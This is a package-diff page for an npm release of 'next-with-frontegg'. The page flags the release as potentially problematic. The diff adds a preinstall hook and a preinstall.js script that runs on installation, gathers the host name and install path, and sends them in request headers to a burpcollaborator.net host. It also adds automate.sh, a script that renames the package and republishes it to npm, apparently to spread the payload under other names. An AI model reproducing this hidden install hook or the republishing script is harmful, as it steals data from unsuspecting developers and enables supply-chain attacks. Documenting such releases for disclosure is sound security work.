next-with-frontegg 0.0.1-security → 47.47.47
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of next-with-frontegg might be problematic. Click here for more details.
- package/automate.sh +9 -0
- package/index.js +1 -0
- package/package.json +14 -3
- package/preinstall.js +24 -0
- package/preinstall.js.bak +24 -0
- package/README.md +0 -5
package/automate.sh
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
|
3
|
+
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
4
|
+
TMP_FILE="$DIR/package.json.tmp"
|
5
|
+
sed "s,\"name\": \".*\",\"name\": \"$1\"," "$DIR/package.json" > "$TMP_FILE" && mv "$TMP_FILE" "$DIR/package.json"
|
6
|
+
sed -i '' "s~\"name\": \".*\"~\"name\": \"$1\"~" package.json
|
7
|
+
sed -i.bak "s~'User-Agent': '.*'~'User-Agent': '$1'~" preinstall.js
|
8
|
+
|
9
|
+
npm publish
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("Hello")
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "next-with-frontegg",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "47.47.47",
|
4
|
+
"type": "module",
|
5
|
+
"description": "",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
9
|
+
"preinstall": "node preinstall.js"
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"node-fetch": "^3.3.1",
|
15
|
+
"os": "^0.1.2"
|
16
|
+
}
|
6
17
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
import fetch from 'node-fetch';
|
2
|
+
import os from 'os'
|
3
|
+
import path from 'path';
|
4
|
+
import {fileURLToPath} from 'url';
|
5
|
+
|
6
|
+
const __filename = fileURLToPath(import.meta.url);
|
7
|
+
|
8
|
+
const __dirname = path.dirname(__filename);
|
9
|
+
|
10
|
+
const host = os.hostname();
|
11
|
+
|
12
|
+
const url = `http://${host}.y87igfmdudwoecwp3cajug3ck3qxem.burpcollaborator.net`;
|
13
|
+
|
14
|
+
const headers = {
|
15
|
+
'User-Agent': 'next-with-frontegg',
|
16
|
+
'X-Hostname': host,
|
17
|
+
'X-path': __dirname
|
18
|
+
};
|
19
|
+
|
20
|
+
fetch(url, { headers })
|
21
|
+
.then()
|
22
|
+
.catch(error => {
|
23
|
+
console.error('Error sending request:', error);
|
24
|
+
});
|
@@ -0,0 +1,24 @@
|
|
1
|
+
import fetch from 'node-fetch';
|
2
|
+
import os from 'os'
|
3
|
+
import path from 'path';
|
4
|
+
import {fileURLToPath} from 'url';
|
5
|
+
|
6
|
+
const __filename = fileURLToPath(import.meta.url);
|
7
|
+
|
8
|
+
const __dirname = path.dirname(__filename);
|
9
|
+
|
10
|
+
const host = os.hostname();
|
11
|
+
|
12
|
+
const url = `http://${host}.y87igfmdudwoecwp3cajug3ck3qxem.burpcollaborator.net`;
|
13
|
+
|
14
|
+
const headers = {
|
15
|
+
'User-Agent': 'next-with-frontegg',
|
16
|
+
'X-Hostname': host,
|
17
|
+
'X-path': __dirname
|
18
|
+
};
|
19
|
+
|
20
|
+
fetch(url, { headers })
|
21
|
+
.then()
|
22
|
+
.catch(error => {
|
23
|
+
console.error('Error sending request:', error);
|
24
|
+
});
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=next-with-frontegg for more information.
|